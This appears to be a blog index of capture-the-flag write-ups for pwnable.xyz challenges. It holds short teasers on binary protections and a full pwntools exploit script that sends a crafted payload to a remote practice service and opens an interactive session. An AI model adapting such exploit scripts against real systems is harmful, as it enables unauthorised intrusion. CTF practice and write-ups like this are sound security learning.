Pwning stuffs

We begin by looking at the protections of the binary. We have several problems and we can not execute code in the stack due to NX protection and we do not see the possibility of an overflow due to canary. We also have PIE activated and full relro so GOT dereferencing/overwriting will not be possible. We start with option 3 that will call the print_flag function. If we see inside the function we ..

We will start by looking at the protections of the binary and we realize that NX is enabled so it will not let us execute code in memory. First we see that our attack vector are two inputs but we do not know the iteration that the program returns to us. So we will have to open gdb and analyze the code in search of how to exploit it and perform the important task of reverse engineering. After see..

Exploit from pwn import * context.log_level = 'debug' p = remote("svc.pwnable.xyz",30031) #p = process('./two_targets') #gdb.attach(p,''' #break *0x00400bd1 #continue #''') payload = "Did_you_really_miss_the_"+"\xc8"+"T_b"+"\x7f"+"D"+"\x84"+"\xf3" p.recvuntil("> ") p.sendline("1") p.recvuntil("name: ") p.sendline(payload) p.recvuntil("> ") p.sendline("4") p.recvuntil("> ") p.interactive()